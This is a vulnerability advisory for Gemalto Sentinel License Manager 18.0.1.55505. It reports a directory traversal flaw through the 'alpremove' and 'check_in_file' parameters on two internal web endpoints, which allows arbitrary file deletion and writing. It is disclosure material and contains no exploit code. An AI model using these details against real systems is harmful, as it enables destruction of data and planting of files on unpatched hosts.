  Gemalto Sentinel License Manager 18.0.1 Directory Traversal Vulnerability
  
  
  Vendor: Gemalto NV | SafeNet, Inc
  Product web page: http://www.gemalto.com | http://www.safenet-inc.com
  Affected version: 18.0.1.55505
  
  Summary: The Sentinel License Manager enforces and manages licensing
  in multi-user environment. It keeps track of all the licenses and
  handles requests from network users who want to run your application,
  granting authorization to the requesters to allow them to run the
  application, and denying requests when all licenses are in use. It is
  an integral component of the network licensing schemes that can be
  implemented with Sentinel RMS, namely server-locked licenses, site
  licenses and commuter licenses.
  
  Desc: Input passed via the 'alpremove' and 'check_in_file' parameters
  is not properly verified in '/_int_/action.html' and '/_int_/checkin_file.html'
  before being used to delete and create files. This can be exploited to
  arbitrarily delete sensitive information on a system and/or write files
  via directory traversal attacks.
  
  Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
   HASP LM/18.00 (web server)
